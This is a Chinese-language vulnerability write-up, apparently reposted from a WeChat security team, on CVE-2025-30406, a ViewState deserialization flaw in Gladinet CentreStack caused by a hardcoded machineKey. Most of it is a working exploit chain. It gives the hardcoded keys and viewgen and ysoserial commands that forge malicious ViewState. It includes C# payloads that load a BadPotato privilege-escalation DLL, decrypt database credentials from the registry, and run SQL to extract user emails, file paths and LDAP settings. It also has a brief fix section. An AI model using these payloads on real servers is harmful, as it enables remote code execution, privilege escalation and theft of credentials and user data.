漏洞信息
漏洞名称:CVE-2025-30406 CentreStack ViewState 反序列化漏洞
漏洞原理:CentreStack 存在硬编码的 machineKey, 导致 ViewState 反序列化漏洞。
影响产品:Gladinet CentreStack 和 Triofox
产品介绍:CentreStack 是 Gladinet 的主要移动访问和安全共享解决方案。来自包括美国、加拿大、英国、澳大利亚、荷兰、瑞士等49个国家的数千家企业使用CentreStack。通过CentreStack,这些企业解决了数据所有权、数据隐私和数据安全问题,同时为其员工引入了一个安全的文件共享解决方案。
搜索语法:
response:"/portal/loginpage.aspx" AND response:"__VIEWSTATEGENERATOR"
环境搭建
下载:https://www.centrestack.com/p/gce_latest_release.html
版本:16.1.10296.56315
windows server exe 安装即可
ViewState 反序列化
ViewState 介绍
ViewState 是 ASP.NET WebForms 中用于在客户端保存控件状态的一种机制。它允许在页面回发(PostBack)时,服务器可以重新还原控件的上一次状态,而不需要重新初始化所有数据。
它一般是以 Base64 编码的形式存储在 HTML 中,例如:
ViewState 生成恢复过程
生成过程:控件树 -> SaveViewState -> 序列化 -> (加密) -> (签名) -> Base64 -> HTML输出
-
控件树生成:用户访问
.aspx
页面时,ASP.NET 解析页面,构建控件树(Page + 各种 Server 控件),控件持有属性状态(如 Text、Value、Checked)。 -
保存控件状态:每个控件调用
SaveViewState()
,将自己的状态保存到(可选)(轻量数据结构)。 -
对象树序列化:使用
LosFormatter
或ObjectStateFormatter
,将对象树序列化成字节流。 -
加密(可选):如果启用,使用 AES 加密字节流,密钥来自
web.config
中的 machineKey(decryptionKey)。 -
签名(可选):用 HMACSHA1 或 HMACSHA256,结合 validationKey,对数据进行签名,防篡改。
-
Base64 编码输出:最后将字节流Base64编码,嵌入页面的
<input type="hidden" id="__VIEWSTATE" />
。
将 ViewState 恢复到控件的过程:接收 HTML -> Base64解码 -> (验证签名) -> (解密) -> 反序列化 -> LoadViewState
ViewState 反序列化
从上面恢复的过程可以看出,一旦泄露了加密和签名所使用的算法和密钥,我们就可以构造恶意的 ViewState 实现反序列化攻击。
加密和签名序列化数据所用的算法和密钥存放在 web.config 。该漏洞就是由于 web.config 中配置的算法和密钥是固定的,我们可以本地搭建环境获取其密钥然后构造反序列化 Payload。
漏洞复现
环境搭建完毕可以在 "C:Program Files (x86)Gladinet Cloud Enterpriserootweb.config" 中可以找到 ViewState 密钥。
decryption="AES"
decryptionKey="B4C3E4CB6CAF27CA9F7909640A4D608CC4458173F13E09C9"
validationKey="5496832242CC3228E292EEFFCDA089149D789E0C4D7C1A5D02BC542F7C6279BE9DD770C9EDD5D67C66B7E621411D3E57EA181BBF89FD21957DCDDFACFD926E16"
docker run 0xacb/viewgen --decode --check --modifier 3FE2630A "/wEPDwUJLTc5MTM0MzY1DxYCHhNDU1JGVG9rZW4xNTk5MTIwOTM2BSRmN2JkYTAwMC01YjNlLTQ2MWMtODUyYy04MDhlOWM5YWI4YzQWAmYPZBYCAgEPZBYCAgEPZBYEAgQPZBYIZg8PFgIeCEltYWdlVXJsBRVpbWFnZXMvdGVhbWNsb3VkMi5qcGdkZAIBDw8WAh8BBRhpbWFnZXMvY2VudHJlc3RhY2tfbC5wbmdkZAICD2QWBgICDw8WAh4HVG9vbFRpcAUJVXNlciBOYW1lFgIeC3BsYWNlaG9sZGVyBQlVc2VyIE5hbWVkAgYPZBYCAgEPDxYCHwIFCFBhc3N3b3JkFgIfAwUIUGFzc3dvcmRkAgoPDxYEHgtOYXZpZ2F0ZVVybAUPR0Nsb3VkUGxhbi5hc3B4HgdWaXNpYmxlaGRkAgsPDxYCHgRUZXh0ZGRkAgoPDxYCHwYFC0NlbnRyZVN0YWNrZGRkMTmsZSWav/7DTVPhcB8+QA8OWceS26J2YazzfcBTmT8=" --vkey "5496832242CC3228E292EEFFCDA089149D789E0C4D7C1A5D02BC542F7C6279BE9DD770C9EDD5D67C66B7E621411D3E57EA181BBF89FD21957DCDDFACFD926E16" --valg SHA256 --dkey "B4C3E4CB6CAF27CA9F7909640A4D608CC4458173F13E09C9" --dalg "AES"
docker run 0xacb/viewgen --command "cmd /c ipconfig > C:WindowsTempipconfig.txt" --modifier 3FE2630A "/wEPDwUJLTc5MTM0MzY1DxYCHhNDU1JGVG9rZW4xNTk5MTIwOTM2BSRmN2JkYTAwMC01YjNlLTQ2MWMtODUyYy04MDhlOWM5YWI4YzQWAmYPZBYCAgEPZBYCAgEPZBYEAgQPZBYIZg8PFgIeCEltYWdlVXJsBRVpbWFnZXMvdGVhbWNsb3VkMi5qcGdkZAIBDw8WAh8BBRhpbWFnZXMvY2VudHJlc3RhY2tfbC5wbmdkZAICD2QWBgICDw8WAh4HVG9vbFRpcAUJVXNlciBOYW1lFgIeC3BsYWNlaG9sZGVyBQlVc2VyIE5hbWVkAgYPZBYCAgEPDxYCHwIFCFBhc3N3b3JkFgIfAwUIUGFzc3dvcmRkAgoPDxYEHgtOYXZpZ2F0ZVVybAUPR0Nsb3VkUGxhbi5hc3B4HgdWaXNpYmxlaGRkAgsPDxYCHgRUZXh0ZGRkAgoPDxYCHwYFC0NlbnRyZVN0YWNrZGRkMTmsZSWav/7DTVPhcB8+QA8OWceS26J2YazzfcBTmT8=" --vkey "5496832242CC3228E292EEFFCDA089149D789E0C4D7C1A5D02BC542F7C6279BE9DD770C9EDD5D67C66B7E621411D3E57EA181BBF89FD21957DCDDFACFD926E16" --valg SHA256 --dkey "B4C3E4CB6CAF27CA9F7909640A4D608CC4458173F13E09C9" --dalg "AES"
漏洞利用
权限提升
这里使用 Godzilla 中的 BadPotato.dll 做好了 HTTP 相关的封装我们可以直接在这里使用:
添加 cmd 参数调用 ToString 方法后从 result 获取结果
using System;
using System.Collections;
using System.IO;
using System.Reflection;
using System.Text;
using System.Web;
public class E
{
publicstringRun()
{
try
{
string base64Dll = HttpContext.Current.Request.Form["x"];
if (string.IsNullOrEmpty(base64Dll))
{
return "";
}
byte[] dllBytes = Convert.FromBase64String(base64Dll);
Assembly assembly = Assembly.Load(dllBytes);
Type runType = assembly.GetType("BadPotato.Run");
if (runType == null)
{
return "";
}
object instance = Activator.CreateInstance(runType);
var parametersField = runType.GetField("parameters", BindingFlags.NonPublic | BindingFlags.Instance);
if (parametersField == null)
{
return "";
}
HttpContext context = HttpContext.Current;
Hashtable parameters = new Hashtable();
parameters.Add("cmd", Encoding.Default.GetBytes(context.Request.Form["c"]));
parametersField.SetValue(instance, parameters);
// 执行 toString 方法触发权限提升命令执行
instance.ToString();
// 获取结果
var resultField = parameters["result"];
if (resultField != null)
{
return Encoding.Default.GetString((byte[])resultField);
}
return "";
}
catch (Exception ex)
{
return "";
}
}
publicE()
{
try
{
HttpContext context = HttpContext.Current;
context.Server.ClearError();
context.Response.Clear();
context.Response.Write(Run());
}
catch (System.Exception ex)
{
HttpContext.Current.Response.Write("Error: " + HttpUtility.HtmlEncode(ex.ToString()));
}
HttpContext.Current.Response.Flush();
HttpContext.Current.Response.End();
}
}
ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile --decryptionkey="B4C3E4CB6CAF27CA9F7909640A4D608CC4458173F13E09C9" --validationkey="5496832242CC3228E292EEFFCDA089149D789E0C4D7C1A5D02BC542F7C6279BE9DD770C9EDD5D67C66B7E621411D3E57EA181BBF89FD21957DCDDFACFD926E16" --generator=3FE2630A -c "CentreStack.BadPotato.cs;System.dll;System.Web.dll;System.Data.dll;System.Xml.dll;System.Runtime.Extensions.dll;"
获取数据库配置
在 CentreStack 的根目录有一个 ChangeDBSettings.exe,反编译可以找到其数据库连接信息的存储位置。
可以看到其更新数据库配置其实就是去修改注册表 SOFTWAREGladinetEnterprise 中的值。
密码是加密后存储的,但是使用的是 AES 我们可以进行解密。
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
using System.Web;
using Microsoft.Win32;
public class E
{
private const string Random3 = "不过,调查也显示,日本、约旦、以色列和黎巴嫩等国的受调查者大多认为美国仍将保持自己的超级大国地位。近三分之二的埃及人认为中国『永远也不会』取代美国成为唯一的超级大国。在美国人中,有57%的受调查者认为美国不会把地位输给中国,不过也有三分之一的美国人认为,中国最终将超过美国,更有7%的人认为中国已经超过美国了。西欧国家的受调查者则比去年更加认为,中国永远也不会超过美国成为世界领袖。例如,44%的西班牙人和43%的法国人认为美国将保持自己的『一超』地位,比去年的比例都增加了9个百分点。不过,在接受调查的4个西欧国家中,大多数人都认为中国已经取代美国或者必将超过美国成为世界领袖。另外,墨西哥人的17%、阿根廷人的16%和印度人的15%也都认为,中国已经取代美国,成为世界头号超级大国了。";
private const string Random4 = "moDriveは、ドライブとしてマウントできるので、フォルダコピー感覚で使えて超快適だが、無料だと容量が1Gバイトでちょっと手狭だ。「Gladinet」を利用してみよう。複数のウェブストレージを、ZumoDriveと同様、フォルダみたいに使えるようにするソフトse Software Gladinet ermöglicht es euch via Laufwerksbuchstabe zum Beispiel au";
private static readonly byte[] bs3 = Encoding.UTF8.GetBytes(Random3);
private static readonly byte[] bs4 = Encoding.UTF8.GetBytes(Random4);
private static Aes aesProvider;
stringEncode(string s)
{
return String.IsNullOrEmpty(s)
? String.Empty
: HttpUtility.HtmlEncode(s);
}
publicE()
{
HttpContext ctx = HttpContext.Current;
ctx.Server.ClearError();
ctx.Response.Clear();
try
{
string DBConn = ReadEncryptedConnFromRegistry("DBConn");
string DBServer = ReadEncryptedConnFromRegistry("DBServer");
string DBUser = ReadEncryptedConnFromRegistry("DBUser");
string DBUserPassword = ReadEncryptedConnFromRegistry("DBUserPassword");
string DBName = ReadEncryptedConnFromRegistry("DBName");
StringBuilder sb = new StringBuilder();
sb.Append("<DBConn>");
sb.Append(Encode(Decrypt(DBConn, 32)));
sb.Append("</DBConn>");
sb.Append("<DBServer>");
sb.Append(Encode(DBServer));
sb.Append("</DBServer>");
sb.Append("<DBUser>");
sb.Append(Encode(DBUser));
sb.Append("</DBUser>");
sb.Append("<DBUserPassword>");
sb.Append(Encode(Decrypt(DBUserPassword, 32)));
sb.Append("</DBUserPassword>");
sb.Append("<DBName>");
sb.Append(Encode(DBName));
sb.Append("</DBName>");
ctx.Response.ContentType = "text/plain; charset=utf-8";
ctx.Response.Write(sb.ToString());
}
catch (Exception ex)
{
ctx.Response.Write("Error: " + HttpUtility.HtmlEncode(ex.Message));
}
finally
{
ctx.Response.Flush();
ctx.Response.End();
}
}
staticstringReadEncryptedConnFromRegistry(string valueName)
{
const string subKeyPath = @"SOFTWAREGladinetEnterprise";
try
{
RegistryView view = Environment.Is64BitProcess
? RegistryView.Registry64
: RegistryView.Registry32;
using (RegistryKey hklm = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, view))
using (RegistryKey key = hklm.OpenSubKey(subKeyPath))
{
if (key == null)
return string.Empty;
object val = key.GetValue(valueName);
if (val == null)
return string.Empty;
return val.ToString();
}
}
catch
{
return string.Empty;
}
}
static Aes GetAES(int n)
{
if (aesProvider != null)
return aesProvider;
Aes aes = Aes.Create();
aes.KeySize = 256;
aes.Key = GetBytes(bs3, n);
aes.IV = GetBytes(bs4, n / 2);
aesProvider = aes;
return aes;
}
staticbyte[] GetBytes(byte[] src, int count)
{
byte[] dst = new byte[count];
Array.Copy(src, dst, count);
return dst;
}
staticstringDecrypt(string cipherText, int n)
{
if (string.IsNullOrEmpty(cipherText))
return string.Empty;
try
{
Aes aes = GetAES(n);
byte[] cipherBytes = Convert.FromBase64String(cipherText);
using (MemoryStream ms = new MemoryStream(cipherBytes))
using (CryptoStream crypto = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Read))
using (StreamReader reader = new StreamReader(crypto, Encoding.UTF8))
{
return reader.ReadToEnd();
}
}
catch
{
return cipherText;
}
}
}
.ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile --decryptionkey="B4C3E4CB6CAF27CA9F7909640A4D608CC4458173F13E09C9" --validationkey="5496832242CC3228E292EEFFCDA089149D789E0C4D7C1A5D02BC542F7C6279BE9DD770C9EDD5D67C66B7E621411D3E57EA181BBF89FD21957DCDDFACFD926E16" --generator=3FE2630A -c "CentreStack.GetConn.cs;System.dll;System.Web.dll;System.Data.dll;System.Xml.dll;System.Runtime.Extensions.dll"
其密码为 win-i3ba3ebkbaf ,其实就是主机名。
获取数据库信息
连接数据库后对其中的表进行简单分析,发现有用户邮箱、文件名称和对应路径、LDAP 配置等信息,还是很有用的。我们可以直接利用 CentreStack 本身的数据库操作 DLL 实现信息的获取。
现在来寻找数据库操作的 dll ,这里看到了一个 AddUserPage.aspx:
主要关注 GetRegConnString() 和 Config.ConnectionString 可以和上面获取数据库信息的逻辑对上:
GetRegConnString 主要是直接获取注册表中的 DBConn 字段:
Config.ConnectionString 则是获取单独的字段随后构造连接字符串:
到这里我们就知道该如何去直接调用这个 dll 去执行 sql 了。
构造 Payload:
.ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile --decryptionkey="B4C3E4CB6CAF27CA9F7909640A4D608CC4458173F13E09C9" --validationkey="5496832242CC3228E292EEFFCDA089149D789E0C4D7C1A5D02BC542F7C6279BE9DD770C9EDD5D67C66B7E621411D3E57EA181BBF89FD21957DCDDFACFD926E16" --generator=3FE2630A -c "CentreStack.ExecSql.cs;System.dll;System.Web.dll;System.Data.dll;System.Xml.dll;System.Runtime.Extensions.dll"
CentreStack 中部分表介绍:
-
xaf_user:邮箱信息
-
xaf_namedvalue:配置项,name=ldap_endpoint 的就是 LDAP 的连接信息可以解密
-
csmain_xaf_files:文件信息( 名称、路径 )
-
.....
xaf_namedvalue 中的 ldap_endpoint 是加密的,但是解密方式和数据库连接信息的完全相同。
漏洞修复
machineKey 从硬编码更改为随机生成
参考链接
-
https://www.huntress.com/blog/cve-2025-30406-critical-gladinet-centrestack-triofox-vulnerability-exploited-in-the-wild
-
https://exp10it.io/2024/02/asp-net-viewstate-deserialization/
原文始发于微信公众号(源影安全团队):CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论